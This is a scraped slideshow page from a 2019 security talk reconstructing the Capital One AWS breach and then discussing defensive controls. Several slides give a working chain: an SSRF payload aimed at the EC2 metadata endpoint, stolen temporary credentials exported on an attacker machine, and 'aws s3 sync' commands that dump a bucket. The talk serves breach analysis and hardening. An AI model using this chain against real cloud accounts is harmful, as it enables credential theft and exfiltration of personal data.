Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Cloud Security: Attacking The Metadata Service

215 views

Published on

Cloud Metadata Services are popular targets for attackers trying to gain direct access to an organization’s cloud resources. The Capital One breach notification published in July put a spotlight on the metadata service and its weaknesses. Using publicly available information from the breach, we will demonstrate how the attacker compromised AWS instance metadata credentials, gained access to privileged resources, and exfiltrated data from the account. The conversation then shifts to a post mortem discussion about cloud security controls that could have prevented or limited the blast radius of the attack.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Cloud Security: Attacking The Metadata Service

  1. 1. © 2019 Puma Security, LLC | All Rights Reserved PUMA SECURITY Cloud Security Attacking The Metadata Service
  2. 2. © 2019 Puma Security, LLC | All Rights Reserved Principal Security Engineer, Puma Security Coder Static analysis engine, cloud automation, security tools Security Assessments DevSecOps, cloud, source code, web apps, mobile apps Principal Instructor DevSecOps Curriculum Manager SANS Principal Instructor Contributing author of SEC540, DEV544, and DEV531 Education and Training Iowa State M.S. Information Assurance, B.S. Computer Engineering AWS Certified Developer CISSP, GSSP, GWAPT Contact Information eric.johnson@pumascan.com Twitter: @emjohn20 LinkedIn: linkedin.com/in/ eric-m-johnson @ $WHOAMI
  3. 3. © 2019 Puma Security, LLC | All Rights Reserved Cloud Security: Attacking The Metadata Service Cap One Debrief Walk Through Post Mortem AGENDA
  4. 4. © 2019 Puma Security, LLC | All Rights Reserved DEBRIEF What happened
  5. 5. © 2019 Puma Security, LLC | All Rights Reserved SORRY, THE LAWYERS MADE ME DO IT 0 03 LEGAL DISCLAIMER ● I do not work for Capital One ● I have never worked for Capital One ● Information found in this presentation is based on publicly available resources
  6. 6. © 2019 Puma Security, LLC | All Rights Reserved BREAKING NEWS On July 29, 2019, Capital One announced a data breach affecting resources hosted in AWS: • 106 million credit card applicants • 140,000 credit card holder social security numbers • 80,000 credit card linked bank account numbers • https://www.capitalone.com/facts2019/
  7. 7. © 2019 Puma Security, LLC | All Rights Reserved IT’S ALWAYS S3
  8. 8. © 2019 Puma Security, LLC | All Rights Reserved ARREST AFFIDAVIT Paige Thompson arrest affidavit reveals the story - March 22, 2019 • Recon: IAM role ****-WAF-Role runs the list-buckets command • Exfiltration: IAM role ****WAF-Role runs the sync command
  9. 9. © 2019 Puma Security, LLC | All Rights Reserved ARREST AFFIDAVIT CONTINUED • Thompson hid her identity during the attack using Tor and IPredator (VPN) • A Slack conversation revealed that she admitted to dumping data • Data published to a public GitHub Gist July 17, 2019 user reported Gist to Capital One’s responsible disclosure inbox
  10. 10. © 2019 Puma Security, LLC | All Rights Reserved THE ATTACK SUMMARY
  11. 11. © 2019 Puma Security, LLC | All Rights Reserved How it happened WALK THROUGH
  12. 12. © 2019 Puma Security, LLC | All Rights Reserved #1 Server Side Request Forgery
  13. 13. © 2019 Puma Security, LLC | All Rights Reserved WEB APPLICATION FIREWALL FAIL • The affidavit made it very clear an instance running a firewall was involved • Remember me? IAM role ****-WAF-Role • AWS WAF ruled out based on the fact it doesn’t run under an IAM role • August 2nd: Krebs report calls out Apache and ModSecurity • https://bit.ly/2T7cQNW
  14. 14. © 2019 Puma Security, LLC | All Rights Reserved EXACT MISCONFIGURATION UNKNOWN Speculation continues…maybe a combination of Apache, ModSecurity and ModProxy? https://twitter.com/ChrFolini/status/1157533808402620416
  15. 15. © 2019 Puma Security, LLC | All Rights Reserved SSRF | THE REMOTE CODE EXECUTION OF THE CLOUD Server-side Request Forgery vulnerabilities occur when an application requests data from another URL that is supplied from an untrusted location, including: ● Request parameters ● Web services ● Backend systems 1 2 3 4 5 6 7 public async IActionResult Get(string target) { var client = new HttpClient(); var request = client.GetAsync(target); var json = await result.Content.ReadAsStringAsync(); return JsonConvert.DeserializeObject<GetResult>(json); }
  16. 16. © 2019 Puma Security, LLC | All Rights Reserved SSRF | EXPECTED USAGE Normal forward (proxy) request to an internal system: 1 2 3 4 5 { "id": "12682", "firstname": "eric", "company": "Puma Security" "id": "54247", "firstname": "scott", "company": "Puma Security" "id": "84824", "firstname": "matthew", "company": "Puma Security" } https://awesomeapp.com/forward?target=https://awesomeapp.com/api/users/ Normal response:
  17. 17. © 2019 Puma Security, LLC | All Rights Reserved #2 Instance Profile Credentials
  18. 18. © 2019 Puma Security, LLC | All Rights Reserved STANDARD USER WORKFLOW COMMIT (CI) Application User Organization Infrastructure EC2 Virtual Machine S3 EC2 Metadata AWS Services IAM 1 2 4 3
  19. 19. © 2019 Puma Security, LLC | All Rights Reserved EC2 INSTANCE PROFILE ROLES Instance profiles allow EC2 instances to attach to an IAM role on creation: • Automatically provisions temporary access keys on the instance for calling other AWS services (S3, KMS, etc) • Avoids hardcoding/storing access keys in code running on the instance • Temporary access keys are requested from STS and automatically rotated
  20. 20. © 2019 Puma Security, LLC | All Rights Reserved IAM PROFILE ROLE | WIDE OPEN S3 PERMISSIONS CloudFormation code defining the WAF role S3 permissions: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 AwesomeWafRole: Type: AWS::IAM::Role Properties: RoleName: "Awesome-WAF-Role" Policies: - PolicyName: "Awesome-WAF-Policy" PolicyDocument: Version: 2012-10-17 Statement: - Effect: "Allow" Actions: - "s3:List*" - "s3:Get*" Resource: "*"
  21. 21. © 2019 Puma Security, LLC | All Rights Reserved PROGRAMITICALLY ACCESSING METADATA Requesting EC2 metadata endpoint using curl: curl http://169.254.169.254/latest/meta-data/ Response: 1 2 3 4 5 6 7 8 9 10 ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hostname iam/ identity-credentials/ instance-action instance-id
  22. 22. © 2019 Puma Security, LLC | All Rights Reserved SSRF PAYLOAD Going from SSRF to RCE using the EC2 metadata endpoint: https://awesomeapp.com/forward?target=http://169.254.169.254/latest /meta-data/iam/security-credentials/Awesome-WAF-Role/ SSRF Response: 1 2 3 4 5 6 7 8 9 { "Code" : "Success", "LastUpdated" : "2019-07-31T23:08:10Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA54BL6PJR37YOEP67", "SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2", "Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv", "Expiration" : "2019-08-01T05:20:30Z" }
  23. 23. COMMIT (CI) Organization Infrastructure EC2 Virtual Machine S3 EC2 Metadata AWS Services IAM 1 Attacker ATTACKER STEALING CREDENTIALS VIA SSRF 3 4 2
  24. 24. © 2019 Puma Security, LLC | All Rights Reserved #3 Data Exfiltration
  25. 25. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | SET ACCESS KEYS 1 2 3 $ export AWS_ACCESS_KEY_ID=ASIA54BL6PJR37YOEP67 $ export AWS_SECRET_ACCESS_KEY=OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2 $ export AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv On the attacker controlled machine, export AWS CLI environment variables: • Access key • Secret key • Session token
  26. 26. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | LIST ACCESSIBLE BUCKETS 1 2 3 4 5 6 $ aws s3api list-buckets { "CreationDate": "2019-09-07T23:12:29.000Z", "Name": "aws s3api list-objects --bucket credit-card-applicants" }, AWS CLI command to list buckets:
  27. 27. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | LIST ACCESSIBLE BUCKETS IN TARGET BUCKET 1 2 3 4 5 6 7 8 9 10 11 12 13 $ aws s3api list-objects --bucket credit-card-applicants "Contents": [ { "Key": "w2/", "LastModified": "2019-09-07T03:00:34.000Z", "ETag": ""d41d8cd98f00b204e9800998ecf8427e"", "Size": 0, "StorageClass": "STANDARD", "Owner": { "ID": "86aa0cef762dce02cb5019cf7" } }, … AWS CLI command to list objects in a given bucket:
  28. 28. © 2019 Puma Security, LLC | All Rights Reserved EXFILTRATE | DUMP DATA FROM TARGET BUCKET $ aws s3 sync s3://credit-card-applicants ~/Downloads/dump download: s3://credit-card-applicants/w2/1/2017-w2.pdf to w2/1/2017-w2.pdf download: s3://credit-card-applicants/w2/3/2017-w2.pdf to w2/3/2017-w2.pdf download: s3://credit-card-applicants/w2/1/2018-w2.pdf to w2/1/2018-w2.pdf download: s3://credit-card-applicants/w2/4/2017-w2.pdf to w2/4/2017-w2.pdf download: s3://credit-card-applicants/w2/3/2018-w2.pdf to w2/3/2018-w2.pdf download: s3://credit-card-applicants/w2/2/2018-w2.pdf to w2/2/2018-w2.pdf download: s3://credit-card-applicants/w2/4/2018-w2.pdf to w2/4/2018-w2.pdf download: s3://credit-card-applicants/w2/2/2017-w2.pdf to w2/2/2017-w2.pdf AWS CLI command to sync data from a bucket to a local disk: 1 2 3 4 5 6 7 8 9
  29. 29. © 2019 Puma Security, LLC | All Rights Reserved What we’ve learned POST MORTEM
  30. 30. © 2019 Puma Security, LLC | All Rights Reserved AWS BREACH INQUIRY Our friend, Senator Wyden continues to investigate and AWS responds: https://bit.ly/2kueLiK
  31. 31. © 2019 Puma Security, LLC | All Rights Reserved METADATA SERVICE ENHANCEMENT REQUEST #1 2014: Andres Riancho presents a talk: Pivoting in Amazon Clouds: https://ubm.io/2lTAGAh
  32. 32. © 2019 Puma Security, LLC | All Rights Reserved METADATA SERVICE ENHANCEMENT REQUEST #2 August 2018: Scott Piper, Summit Route Security Consultant, requested metadata service security enhancements:
  33. 33. © 2019 Puma Security, LLC | All Rights Reserved METADATA SERVICE ENHANCEMENT REQUEST #3 Nov 28, 2018: Netflix blog post regarding metadata credential theft and hardening techniques: https://bit.ly/2lYo3n J
  34. 34. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #0 | AWS METADATA ENHANCEMENT AWS should (and probably will given the high publicity surrounding this breach) make the following enhancements to better protect the metadata endpoint: 1. Follow the pattern used by Azure and Google Cloud Platform 2. Reject requests without a custom header 3. Automatically deny requests signed with the metadata credentials originating from a different resource / source IP address 1 2 Metadata-Flavor: Google Metadata: true
  35. 35. © 2019 Puma Security, LLC | All Rights Reserved CUSTOMER MANAGED MITIGATING CONTROLS Cloud security controls falling on the customer's side of the responsibility model: 1. Fix the SSRF vulnerability 2. Least privilege IAM roles 3. Configure VPC Endpoints 4. VPC Endpoint IAM 5. Instance profile credential monitoring
  36. 36. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #1 | INPUT VALIDATION 1 2 3 4 5 6 7 8 9 10 11 12 13 public async IActionResult Get(Guid urlId) { //Pull valid endpoints from the configuration file List<Endpoint> endpoints = GetEndpoints(); //Verify the endpoint exists Endpoint e = endpoints.FirstOrDefault(i => i.Id == urlId); if (e == null) throw new ArgumentException("Invalid endpoint id."); var client = new HttpClient(); var request = client.GetAsync(e.Url); var json = await result.Content.ReadAsStringAsync(); return JsonConvert.DeserializeObject<GetResult>(json); } Validate incoming URL parameter for a valid domain: Validate the data!
  37. 37. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #2 | LEAST PRIVILEGE IAM POLICY 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Policies: - PolicyName: "Awesome-WAF-Policy" PolicyDocument: Version: 2012-10-17 Statement: - Effect: "Allow" Action: - "s3:ListBucket" Resource: - "arn:aws:s3:::waf-logging-bucket" - Effect: "Allow" Action: - "s3:GetObject" Resource: - " arn:aws:s3:::waf-logging-bucket/*" Locking down the WAF IAM instance profile policy:
  38. 38. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTOROL #3 | VPC S3 ENDPOINT VPC Endpoints • Enables VPC resources to call AWS APIs without going over the Internet
  39. 39. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #4 | VPC ENDPOINT POLICY 1 2 3 4 5 6 7 8 9 10 11 Statement: … - Effect: "Deny" Action: "*" Principal: "*" Resource: - "arn:aws:s3:::credit-card-applicants" Condition: StringNotEquals: aws:sourceVpc: - "vpc-111bbb22" Protecting the credit card applicant's bucket using a VPC endpoint bucket policy:
  40. 40. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #5 | IAM CREDENTIAL MONITORING CloudTrail logs provide data to correlate instance profile requests with the IP address in the VPC:
  41. 41. © 2019 Puma Security, LLC | All Rights Reserved MITIGATING CONTROL #5 | CANARY TOKENS Monitor and alert on requests to the EC2 metadata endpoint: • https://help.canary.tools/help/the- what-why-how-of-apeeper
  42. 42. COMMIT (CI) Organization Infrastructure EC2 Virtual Machine S3 EC2 Metadata AWS Services IAM Attacker HARDENED WORKFLOW Application User
  43. 43. © 2019 Puma Security, LLC | All Rights Reserved Cloud Security: Attacking The Metadata Service Contact: eric.johnson@pumasecurity.io SUMMARY @emjohn20 • EC2 instance profiles • AWS data exfiltration • Protecting instance metadata • Restricting IAM policies • Configuring VPC endpoint policies • Detecting credential compromise

×